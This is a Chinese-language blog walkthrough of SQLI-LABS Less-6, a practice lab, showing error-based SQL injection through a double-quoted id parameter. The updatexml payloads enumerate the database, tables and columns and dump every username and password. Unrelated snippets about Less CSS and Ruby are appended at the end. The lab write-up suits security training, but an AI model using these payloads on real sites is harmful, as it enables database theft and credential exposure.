jjzjj

SQLI-LABS(Less-6)

顾北清 2023-03-28 原文

Less-6(GET-Double injection-Double Quotes-String)

打开Less-6页面,可以看到页面中间有一句Please input the ID as parameter with numeric value,那么先使用ID这个参数通过GET方式传入一个数值。

确定注入点

注入语句:?id=1

从上图可以看出传入id=1并没有回显查询结果,接着试一下?id=1',并没有任何异常,那么尝试一下?id=1",发现在引号附近产生歧义导致了报错。并且通过报错信息可以看出闭合SQL语句时用的是双引号。这时可以考虑使用报错注入有关报错注入)。

使用注入语句:?id=1" --+看看是否能够正常闭合并注释,从下图看出是没有问题的。

确定当前数据库名

注入语句:?id=1" and updatexml(1,concat(0x7e,(select database())),1) --+。其中,concat函数用于连接两个字符串,形成一个字符串,concat('a','b')='ab',这样当爆出多个信息时,可以通过~进行分割。

从报错信息中可以看出,当前数据库为security

确定数据库中的数据表

注入语句:?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) --+

确定users表中的列名

注入语句:?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),1) --+

通过上述注入可以得知users表中存在三列,分别为idusernamepassword

确定users表中的用户名和密码

注入语句:?id=1" and updatexml(1,concat(0x7e,substring((select group_concat(concat(username,'^',password)) from users),1,31)),1) --+

从上图可以看出,爆出的账号密码长度超出了32,所以需要继续使用substring()函数每隔32位截取一次,最终拼凑出全部内容。

至此,就得到了当前表中所有的用户名和密码。

有关SQLI-LABS(Less-6)的更多相关文章

  1. ruby - 将 Bootstrap Less 添加到 Sinatra - 2

    我有一个ModularSinatra应用程序,我正在尝试将Bootstrap添加到应用程序中。get'/bootstrap/application.css'doless:"bootstrap/bootstrap"end我在views/bootstrap中有所有less文件,包括bootstrap.less。我收到这个错误:Less::ParseErrorat/bootstrap/application.css'reset.less'wasn'tfound.Bootstrap.less的第一行是://CSSReset@import"reset.less";我尝试了所有不同的路径格式,但它

  2. ruby - 如何使用 Ruby 中的 `less` 之类的 Unix 寻呼程序? - 2

    假设我有一个名为very_long_string的字符串,我想将其内容发送到标准输出。但是由于字符串很长,我想使用less在终端上显示文本。当我使用`less#{very_long_string}`我收到Filenotfound错误消息,如果我使用:`less我收到意外重定向错误消息。那么,如何在Ruby内部使用less呢? 最佳答案 您可以打开一个管道并通过其标准输入将您的字符串提供给less。IO.popen("less","w"){|f|f.putsvery_long_string}(假设very_long_string是保存

  3. css - Less.js LoadError - 没有这样的文件要加载 - less 在 main .less 文件上 - 2

    我正在尝试在一个新元素中测试less.js。我100%确定javascript文件加载正常,但我的css文件夹中的less文件一直出现此错误。我打算在启动之前使用less.app编译它,但我宁愿让less.js在开发期间进行编译。由于它是.less或其他文件而不允许浏览器访问该文件是否存在问题?谢谢(运行ubuntu11.04和ruby​​v1.9.2,在firefox和chrome中同样的错误)这是我的head.haml文件,我在其中链接到less.js和app.less(它们都在正确的文件夹中)%link{:rel=>"stylesheet/less",:type=>"text/c

  4. ruby - 如何在 Rails 之外使用 less.rb 处理 Bootstrap - 2

    我正在尝试使用less.rb创建一个独立的应用程序(独立于RailsAssets管道)以基于TwitterBootstrap输出CSS文件。下面的结果是一个空文档parser=Less::Parser.new:paths=>[Rails.root+'/public/bootstraps/twitter-bootstrap-857b8fb/less']tree=parser.parse("@import'bootstrap.less'")tree.to_css这会导致返回一个空字符串。我尝试了将@import更改为完整路径等的变体,但没有成功。我想我一定遗漏了一些简单的东西。

  5. upload-labs通关 - 2

    最近,我有个朋友老是反映部署的网站老是被黑客攻击,我看了下就是普通的PHP框架搭建的网站,经过一番排除也清除了木马。为此我专门花1天时间研究一下文件上传漏洞,知己知彼方能百战百胜。这里我选择了一个开源的靶场upload-labs。测试环境部署游览器插件下载地址Cookie-Editor:https://chrome.google.com/webstore/detail/hlkenndednhfkekhgcdicdfddnkalmdmHackBar:https://hackbar.herokuapp.com/使用everything搜索hackbar-panel.js文件的位置,注释或删除以下代

  6. ruby-on-rails - 找不到“twitter/bootstrap/responsive.less” - 2

    我正在尝试将我的应用程序移动到另一台服务器,但我目前遇到以下错误。'twitter/bootstrap/responsive.less'wasn'tfound(in/home/rails/**/app/assets/stylesheets/bootstrap_and_overrides.css.less)我的gemfile中没有:assetsblock——因此之前针对此问题的解决方案不适用于我的情况。这是我的Gemfilesource'https://rubygems.org'#BundleedgeRailsinstead:gem'rails',github:'rails/rails'

  7. ruby-on-rails - Rails 错误 "cannot load such file -- less" - 2

    我是rubyonrails的新手,我一直在尝试使用twitter-bootstrap作为Assets,所以我将它包含在我的Gemfile中,捆绑并它安装成功。但是我注意到它依赖于某些在我执行“捆绑”命令时未显示的依赖项。它需要的依赖(1)Libv8(2)Less(3)Less-rails错误信息:cannotloadsuchfile--less(inc:/Sites/todo/app/assets/stylesheets/bootstrap_and_overrides.css.less)[code]Extractedsource(aroundline#8):5:6:7:8:"all"%

  8. Ruby 类继承 : What is `<<` (double less than)? - 2

    class这是什么为了?我搜索了,但结果只告诉我有关字符串连接的信息... 最佳答案 虽然class是真的是单例类的语法,正如其他人所说,它最常用于在类定义中定义类方法。但是这两种用法是一致的。方法如下。Ruby允许您通过以下方式向任何特定实例添加方法:class这添加了一个方法foo对某个实例,不是对它的类,而是对那个特定实例。(实际上,foo被添加到实例的“单例类”,但这或多或少是一个实现怪癖。)上面的代码执行后,您可以将方法foo发送到某个实例:someinstance.foo=>"Hello."但是您不能将foo发送到同一类

  9. javascript - sourceMapRootpath 使用 LESS 获得源映射 - 2

    我正在尝试在我的元素中使用源map。我正在使用LESS,使用grunt-contrib-less通过Grunt编译这是我的gruntfile.js中的代码:less:{development:{options:{paths:["assets-src"],//LESSsourcemaps//Toenable,setsourceMaptotrueandupdatesourceMapRootpathbasedonyourinstallsourceMap:true,sourceMapFilename:'assets-src/desktop/css/desktop.css.map',source

  10. javascript - 在元素中使用 Node.js 作为独立的 LESS 编译器? - 2

    我一直在尝试合并lessc大型元素中的编译器具有Bootstrap的基本设置,它只会导致各种编译错误(每个人都有不同解决方案的门票)。没有一个解决方案能满足我的需求,这是一种通过命令行编译less-pile的方法。我通过node.js编译了各种其他Assets,并希望用less做同样的事情,但我发现关于这个主题的每个googlepage都是Node.js+Express,这不是我想要的。我想要一个独立的编译器。(想法:require.jsr.js文件)我找到了Node-less但它已经2年没有更新了,因此并不理想。所以。问题:是否有命令行方式可以使用node.js编译less-file

随机推荐